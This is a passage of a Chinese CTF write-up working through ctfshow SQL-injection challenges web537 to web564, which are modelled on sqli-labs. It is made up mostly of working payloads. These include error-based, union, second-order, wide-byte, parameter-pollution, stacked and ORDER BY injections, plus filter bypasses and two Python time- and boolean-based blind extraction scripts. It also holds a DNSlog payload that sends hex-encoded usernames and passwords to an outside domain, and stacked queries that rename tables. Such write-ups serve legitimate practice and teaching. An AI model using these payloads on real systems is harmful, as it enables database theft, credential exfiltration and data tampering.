uname=JyBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpKSwxKSwnJywnJykj

//' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB

结果是ctfshow{a1679cb4-87df-4e44-a83f

倒着读:

Cookie:
uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByZXZlcnNlKGdyb3VwX2NvbmNhdChmbGFnNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICcxJz0nMQ==

//' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB

结果逆序一下是b4-87df-4e44-a83f-301766292bf8}


flag:ctfshow{a1679cb4-87df-4e44-a83f-301766292bf8}

web538

和21关区别就在于闭合变成了双引号"

image-20230719150443110


获取字段值(flag):

Cookie:
uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICIxIj0iMQ==

//" and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and "1"="1

POST:
uname=DUMB&passwd=DUMB

也可以

Cookie:
uname=IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChmbGFnNCkgZnJvbSBjdGZzaG93LmZsYWcpKSwxKSwnJywnJykj

//" or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB

结果是ctfshow{1b398957-5f90-4841-a17a

倒着读:

Cookie:
uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByZXZlcnNlKGdyb3VwX2NvbmNhdChmbGFnNCkpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICIxIj0iMQ==

//" and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and "1"="1

POST:
uname=DUMB&passwd=DUMB

结果逆序一下是57-5f90-4841-a17a-aacc6cab9773}


flag:ctfshow{1b398957-5f90-4841-a17a-aacc6cab9773}

web539

考点:绕过过滤注释符(各种闭合姿势)

回到了第一关的样式,我们需要GET提交一个id。

image-20230719151744337

开始测试闭合:

?id=1'               报错near ''1'' LIMIT 0,1' at line 1
?id=1' --+           报错near '' LIMIT 0,1' at line 1
?id=1' #             报错near '' LIMIT 0,1' at line 1
?id=1''              登录成功
?id=-1' or '1'='1    登录成功

可以判断这里闭合是单引号,而且注释符被过滤!

测一下回显位:

?id=1' union select 1'             报错
?id=1' union select 1,2'           报错
?id=1' union select 1,2,3'         正常
?id=1' union select 1,2,3,4'       报错

判断回显位有三个。

也可以

?id=1' union select 1,2,3; %00

image-20230719155822403


爆库: ctfshow

?id=-1' union select 1,(group_concat(schema_name)),3  from information_schema.schemata;%00

image-20230719160425050


爆表: flag

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3 or '1'='1

image-20230719160445505


爆列: flag4

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag

image-20230719160559426


获取字段值(flag): ctfshow{62c6ea4a-97b1-4b8b-af0e-e0c4588bcc62}

?id=-1' union select 1,(select group_concat(flag4) from ctfshow.flag),'3

image-20230719160706622

web540

考点:二次注入

进入24关,越来越真实了,有注册、登录、忘记密码等界面。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YeUoMnJC-1690716086446)(C:\Users\86159\AppData\Roaming\Typora\typora-user-images\image-20230719160827795.png)]

先用DUMB登录一下,登陆成功后跳转到了修改密码界面。

image-20230719171928246

尝试注册一个用户名为admin的用户,但是提示用户已经存在了,估计这题就是让我登录admin的账号。

image-20230719173622855


二次注入:

二次排序注入也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
    端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。


题中我们的步骤是:

1、注册一个 admin'#的账号,密码是123123

注册用户时,数据库内添加数据语句:(login_create.php)
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
所以数据库内添加了一条数据,账号是 admin’#,密码是123123

image-20230719194749029

image-20230719194812662

2、接下来登录该帐号后进行修改密码,修改为111111

修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。

image-20230719194925034

3、登录admin账号,密码就是111111

image-20230719195020626

这题flag还是在数据库里面,要得到flag得盲注了。

用一下【孤桜懶契】大佬的脚本:

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/10
# blog: gylq.gitee.io

import requests
import time


flag = ""
#*************************************************************************************************************************************************************
#--------查库名
#sql="select group_concat(schema_name) from information_schema.schemata"
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'"
#--------查flag
sql= "select flag4 from ctfshow.flag"
#*************************************************************************************************************************************************************
payload = "admin' and if(ascii(substr(({}),{},1))>'{}',sleep(0.4),0)#"
i = 0

session = requests.session()
for i in range(1,666):
    head = 32
    tail = 127

    while head < tail:
        mid = (head+tail) >> 1
        url_register = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login_create.php"
        data = {
            'username' : payload.format(sql,i,mid),
            'password' : '22',
            're_password' : '22',
            'submit' : 'Register'
        }
        res = session.post(url=url_register,data=data)


        url_login = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login.php"
        data = {
            'login_user' : payload.format(sql,i,mid),
            'login_password' : '22',
            'mysubmit' : 'Login'
        }
        res = session.post(url=url_login, data=data)

        url_change = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/pass_change.php"
        data = {
            'current_password' : '22',
            'password' : '1',
            're_password' : '1',
            'submit' : 'Reset'
        }
        start = time.time()
        res = session.post(url=url_change, data=data)
        end = time.time()
        print(end - start)
        if end-start > 0.4 and end-start < 1:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        print('[*] 开始盲注第{}位'.format(i))
        flag += chr(tail)
        print(flag)
    else:
        print('[*] Complete! Result Is >>> {}'.format(flag))
        break

image-20230719200638129

web541

说是过滤了andor

image-20230719200953356

其实就是把字符串andor替换成空,这里要注意一下,不一定是单独的and/or,如password中也有or,也是会被过滤替换的。我们用双写绕过+联合注入就行。

payload:

?id=-1' union select 1,group_concat(flag4s),3 from ctfshow.flags --+

image-20230720180851861

web542

第25a关。

还是过滤了andor

image-20230720181042510

有报错但是报错是固定的,告诉你错了但是不告诉你具体哪里错了。这题和上一题的区别就在于,这题是整数注入,不用闭合。

payload:【】

?id=-1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3

image-20230720181619090

web543

看这提示应该是过滤了空格。

image-20230720194239148

源码:

function blacklist($id)
{
    //过滤替换or
    $id= preg_replace('/or/i',"", $id);	
    //过滤替换and
    $id= preg_replace('/and/i',"", $id);	
    //过滤替换/*
    $id= preg_replace('/[\/\*]/',"", $id);
    //过滤替换--   (注释符一部分)
    $id= preg_replace('/[--]/',"", $id);	
    //过滤替换#    (注释符)
    $id= preg_replace('/[#]/',"", $id);
    //过滤替换\s      
    //\s: 匹配一个空格符 等价于【\n\r\f\v\t】
    $id= preg_replace('/[\s]/',"", $id);	
    //过滤替换 /\
    $id= preg_replace('/[\/\\\\]/',"", $id);	
    return $id;
}

常规代替空格的字符:

%09 TAB 键(水平)

%0a 新建一行

%0b TAB 键(垂直)

%0c 新的一页

%0d return 功能

%a0 空格

基本上把所有可替代空格的都过滤了。但是空格的作用还可以用括号代替。

再测一下闭合和回显位 【一个比较不常用的注释符;%00

?id=1'anandd'1'='1         回显正常
?id=1';%00                 回显正常
?id=1';%00--+              报错

闭合是单引号
----------------------------
?id=1'union(select(1));%00                     报错
?id=1'union(select(1),(2));%00                 报错
?id=1'union(select(1),(2),(3));%00             回显正常

回显位是3

所以这题用括号代替空格+报错注入

payload:

//顺序读取
?id=1'||updatexml(1,concat(0x3d,(select(group_concat(flag4s))from(ctfshow.flags))),3)||'1'='1

//逆序读取
?id=1'||updatexml(1,concat(0x3d,(select(reverse(group_concat(flag4s)))from(ctfshow.flags))),3)||'1'='1

ctfshow{9e6c2ce7-fb7d-4112-a5c6-e0d4cf1e0156}

image-20230720210648408

web544

来到第26a关

image-20230720210944979

和上一关不同的是,不显示具体报错了,导致无法使用报错注入。

image-20230720211219143

那就回归联合注入,闭合是双引号"

payload:

?id=999')union((select(1),(group_concat(flag4s)),(3))from(ctfshow.flags))||('1')=('1       

不知道为什么不行,不行就直接上盲注了。

import requests

url = "http://47b9f914-0fd8-44fc-964f-d44867657b75.challenge.ctf.show/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
        # payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
        payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

image-20230720214954092

web545

过滤了selectunion

image-20230721091254422

源码中过滤的部分:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out select.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

分析:

union select 都可以用字母大小写交替绕过。

只过滤 +和/**/代表的空格,可以用 %09、%0D 等绕过对空格的过滤。

因为 - 、#会被过滤,所以使 ID 为一个非常大的数,闭合使用非注释方式

因为有报错,所以联合注入和报错注入都可以用。

?id=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))or'0

?id=1000'%09UnIoN%09SelEcT%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00
//【这个联合注入闭合无法用】     '   or'0   or'1'='1

image-20230721092912412

web546

和上题相比,闭合变成了双引号",同时也不返回具体报错。

image-20230721110245877

联合注入还能继续用。

?id=1000"%09UnIoN%09SelEcT%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00

image-20230721110329021

web547

image-20230721111930824

源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

过滤替换了一次union select,闭合是')

payload:

?id=1000')%09ununion%09selection%09select%091,(group_concat(flag4s)),3%09from%09ctfshow.flags;%00

//经过过滤替换后,是
//1000') union select 1,(group_concat(flag4s)),3 from ctfshow.flags;%00

image-20230721112724332

web548

image-20230721113015733

源码:

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

只过滤替换了一次union select,连空格都不过滤了,payload不变。

?id=1000') ununion selection select 1,(group_concat(flag4s)),3 from ctfshow.flags;%00

image-20230721113004408

web549

他说,有最好的防火墙保护。

image-20230721113112078

看看源码,让我康康。以下是漏洞点(login.php):

$qs = $_SERVER['QUERY_STRING'];//接受所有参数 
$hint=$qs; 

//分解接收到的参数的函数(解析第一个id参数)
$id1=java_implimentation($qs);

//解析最后一个id参数(第二个)
$id=$_GET['id']; 

//过滤参数的函数。
whitelist($id1);




...
...
...
    
    
    
    
function whitelist($input)
{
    //只匹配纯数字
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}


function java_implimentation($query_string)
{
	$q_s = $query_string;
    //将id=1&id=2分割为[id=1,id=2]
	$qs_array= explode("&",$q_s);

    //遍历数组每个键值对
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
        
        //获取参数id
		if($val=="id")
		{
            //获取参数id的值
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

思路(代码逻辑漏洞导致的重复参数注入):

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

根据源代码,get提交的参数,如果重名,则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值。
但是验证id是否是数字却只是验证了第一个id参数

其实第29关(web549)是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。

构造两个id参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

所以这题就很好绕过了

payload:

?id=1&id=-2%27union%20select%201,2,group_concat(flag4s) from ctfshow.flags--+

image-20230727150809450

web550

同29关一样,就是闭合方式变成了双引号"

payload:

?id=1&id=-2"union select 1,2,group_concat(flag4s) from ctfshow.flags--+

image-20230727152118684

web551

同29关一样,就是闭合方式变成了双引号+括号")

payload:

?id=1&id=-2")union select 1,2,group_concat(flag4s) from ctfshow.flags--+

image-20230727152241242

web552

考点:宽字节注入

image-20230727152843100

先测试一下闭合

?id=1                                    #返回DUMB的信息,正常查询
?id=1'                                   #返回DUMB的信息,正常查询
?id=1''''''''''''''''''''                #返回DUMB的信息,正常查询
?id=1''''''''''''''''''''--+             #返回DUMB的信息,正常查询
?id=1' or 1=1--+                         #返回DUMB的信息,正常查询

好似我输入的单引号和没输入一样?!

先本地查看一下源码吧

image-20230727155035789

使用check_addslashes方法里面的preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1'会变成id=1\'(在' " \ 等敏感字符前面添加反斜杠),使得引号不起作用。

image-20230727155136337

但是可以注意到数据库使用了【gbk编码】。这里我们可以采用宽字节注入。

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

宽字节注入原理:

常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。

如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。

这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。

本题宽字节注入利用:

因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \(%5c)

因为urlencode(\') = %5c%27,如果我们在 %5c%27前面添加 %df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c当做是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。

payload:

?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

image-20230727160759848


如果可以构造 %5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。这也是 bypass 的一种方法。可惜这题也过滤了反斜杠\(%5c)。


web553

查看源码。

image-20230727161357321

和上关过滤方式不同,本关使用PHP中的addslashes()函数,addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符如下:

image-20230727161240851

由此看来两关过滤防御方式是一样的,payload不变。

?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

image-20230727161449590

注入天书:使用 addslashes (), 我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞

web554

考点:POST注入+宽字节注入。

image-20230727163015414

payload:

uname=-1%ef' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit

image-20230727163134551

国光大佬还写了一个新方法:

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为,从而得到了一个能被utf-8解析
为汉字的字节。
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

payload:

uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit

image-20230727163621310

web555

image-20230727164753831

这题无闭合,数字型注入。用了addslashes()函数作为过滤,但是出flag并不需要单引号,相当于没过滤。

payload:

?id=-1 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+

image-20230727164944199


但是哈,如果这题放到本地做,我们会发现,爆字段时候需要用加了引号的表名。表面的引号不可不加。

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'

宽字节注入法能吃掉反斜杠,但是产生的字符,会影响SQL语句。

为什么之前几题不影响SQL语句呢?????

假设宽字节注入后,产生的字符是【*】。

之前题目的payload:?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

带入SQL语句就是:

SELECT * FROM users WHERE id='【*】' union%20select%201,2,group_concat(flag4s) from ctfshow.flags

宽字节产生的奇怪字符属于是查询的id,不影响联合注入语句。

现在的payload:?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='数据表名称'

带入SQL语句就是:

SELECT * FROM users WHERE id='1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=【*】'数据表名称【*】'

大大滴影响啊,报错如下:

image-20230727165831228


本地做时,我们的绕过只需将表名换成十六进制编码就行,直接使用联合查询就可以了。

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

web556

随便测一下 ,以前面加反斜杠方式过滤了单引号等字符。

image-20230728144000540

查看源码,过滤函数变成了mysql_real_escape_string(),作用和addslashes()函数一样。

image-20230728143806226

payload:

?id=-1%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +
或者
?id=-1�'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

image-20230728144114325

web557

随便测一下 ,还是以前面加反斜杠方式过滤了单引号等字符。这不过这次变成了双参数POST。

image-20230728144211857

查看源码,过滤函数是mysql_real_escape_string()

image-20230728144301131

payload:

uname=-1%ef' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
或者
uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit

注:hackbar发包不用带submit=Submit,这个自动会加。

image-20230728144431663

web558

开启堆叠注入了

image-20230728144834614

??????联合注入直接出了。。。。。

?id=-1' and 1=2 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+

虽然没有一点过滤,那还是用堆叠试试吧,学点新知识。


什么是堆叠注入?

用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select * from users ; creat/drop table xxxx like users ;这个指令就是在查询users的同时再创建一个名为xxxx的表


堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除


来源:https://www.jianshu.com/p/36f0772f5ce8

局限性:

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
  3. 使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因。

查询源码,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

image-20230728162844271


首先判断能否堆叠注入,show个库(回显所有的库)看看。

?id=-1';select 1,2,(show databases);-- +              【没成功】

向数据表插入id、账号、密码
?id=-1';insert into users(id,username,password) values ('17','Jay','I love 36D too')-- +

然后输入?id=17就可以查询到我刚刚新建的数据。

image-20230728162310683


看国光大佬的博客,这里还能用DNSlog外带配合堆叠注入

?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+

Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。


看国光大佬的博客,这里也能用开启日志 Getshell配合堆叠注入。

需要条件:

  1. Web 的物理路径
  2. MySQL 可以读写 Web 目录
  3. Windows 成功率 高于 Linux

SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)

ctfshow中暂时没复现出来。【打个点,有空本地慢慢复现】


我们要获取flag的话,可以直接把存flag的表改名成users,因为题目服务器内查询语句查的是users表,那样我们就能直接通过?id=1查出flag了。

?id=1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

image-20230728182128359


我想,我们要获取flag的话,参考前面,也可以插入数据,数据内容为select查到的flag。但是没有成功。

?id=-1';insert into users(id,username,password) values (77,(select group_concat(flag4s) from ctfshow.flags),"don77")-- +

那就本地测试一下。

1、测试得出,insert插入数据,无法覆盖,只能新建,比如说上面的payload,如果id=77已有内容,那么无法插入,会报错Duplicate entry '77' for key 'PRIMARY'(为键’PRIMARY’重复条目’77’)

2、我在user表执行insert into user(id,username,password) values (77,(select username from user where id=3),"don77");时,不会成功,因为不能from同一个表user。报错You can't specify target table 'user' for update in FROM clause(不能在FROM子句中指定更新的目标表user)

3、在以上两个错误之外,本地尝试payloadinsert into user(id,username,password) values (777,(select username from biaoone where id=2),"don77");可以成功。

image-20230728170544024

4、回归最早的疑问payload,我们在本地构造语句insert into user(id,username,password) values (7777,(select group_concat(username) from biaoone),"don7777");insert into user(id,username,password) values (77777,(select group_concat(username) from xxx.biaoone),"don77777");,都可以成功新建数据!!!!!!

image-20230728171312176

5、回到题目,尝试?id=-1';insert into users(id,username,password) values (7777,(select database()),"don77")-- +,发现可以新建数据。

image-20230728171627126

6、和群主讨论了许久,最后发现,我payload没错。。。。。

因为这是直接插入数据,flag会写入字段里面。列长度不够,需要分段截取。数据库列长度不一定满足回显长度需求。所以遇到这种情况,最好截取试试。

修改一下payload?id=-1';insert into users(id,username,password) values (77,(select SUBSTRING(group_concat(flag4s),1,5) from ctfshow.flags),"don77")-- +,慢慢截取。

image-20230728175916017

web559

和上一题一样,就是变成了数字型,不需要闭合。

payload:

?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

image-20230728183208775

web560

image-20230728183457572

先测试一下闭合

?id=1               回显Dumb
?id=1'-- +          无回显
?id=1-- +           回显Dumb
?id=1"-- +          回显Dumb
?id=1''''''-- +     回显Dumb

?id=11#1            回显admin3,说明注释符都能用
?id=11--+1          回显admin3

?id=-1' union select 1,2,3--+
?id=-1" union select 1,2,3--+
?id=-1') union select 1,2,3--+


说明闭合是'),无报错信息

payload:

?id=1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;-- +

image-20230728185157733

web561

详细比对源码,和第39关(web559)唯一区别就是没有了报错信息。

payload:

?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

image-20230728185302356

web562

页面够真实。 forgot your password?New User click here?都提示我直接hack,没用正常忘记密码和创建账号的功能。

image-20230728233712719

抓个包测试一下。

image-20230728234032361

login_user=1'&login_password=1'                      报错near ''1''' at line 1
login_user=1'--+&login_password=1'--+                不报错

所以闭合是单引号
create_user=admin&create_password=111&mysubmit=create
报错Undefined index: login_user in <b>/var/www/html/login.php
说明想错了,这样不能创建用户。

**方法一:**首先这题有报错,那就可以报错注入。

login_user=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&login_password=1'--+&mysubmit=Login

不行,估计username有过滤。数据库没有使用gbk编码不能使用宽字节注入。

payload:

login_user=1'--+&login_password=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&mysubmit=Login

image-20230728234918875

ctfshow{b9d4482b-9d86-4f90-8457-aef887775a37}

方法二:

联合注入

login_user=1'--+&login_password=-1'union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3-- +&mysubmit=Login

无效,无回显

方法三:

堆叠注入

login_user=1'--+&login_password=-1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;-- +&mysubmit=Login

image-20230728235822915

堆叠注入有效,但是得不到flag。

重开环境

换一种堆叠方式:

login_user=1'--+&login_password=1'; show databasea;-- +&mysubmit=Login

不会回显数据库。无法得到flag。

方法四:

时间盲注/布尔盲注

web563

这题就是闭合用 '),其他都一样。

payload:

login_user=1')--+&login_password=1000')or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&mysubmit=Login

image-20230729000848578

ctfshow{6522706a-b7bf-4f06-9f07-ad8a842f1b51}

web564

提示变了,提示我们input parameter as SORT with numeric value(以数字形式输入(sort)排序参数)

image-20230729103245992

试了一下确实如此,而且是数字型,不用闭合。

image-20230729103559680

是一种新类型注入,更着国光师傅的wp,验证一下。

一、升序和降序验证:

在数据库中,desc是表示降序排列,asc表示升序排列(默认升序)

# 升序排序
?sort=1 asc

# 降序排序
?sort=1 dasc

二、rand()验证:

rand():生产0-1的随机数;括号里可以填种子,它就会按种子的规律生产数。

rand (ture) 和 rand (false) 的结果是不一样的

?sort=rand(true)
?sort=rand(false)

三、延时验证:

?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

看看源码。

image-20230729104105439

可以看到数据库语句变为了SELECT * FROM users ORDER BY $id

在数据库中,desc是表示降序排列,asc表示升序排列(默认升序)

上面的数据库语句也可以看作SELECT * FROM users ORDER BY $id asc

这个就是按照第$id列的数值进行升序排列。

                        排序注入
 
源码:	$sql = "SELECT * FROM users ORDER BY $id";
 
select使用文档:https://dev.mysql.com/doc/refman/8.0/en/select.html
 
分析:不同于 where 查询后可以用 union select 注入,可见order by后面不能使用联合查询,可以使用    
     limit,into outfile等语句,还可以跟数字等。

方法一:报错注入

可以拼接报错语句。

?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +

也可以直接注入报错注入语句。

?sort=extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))-- +

image-20230729105515808

ctfshow{7c933c76-fd43-47fd-83ec-f6b526b916c4}

此外,利用 procedure analyse 参数,也可以执行报错注入。

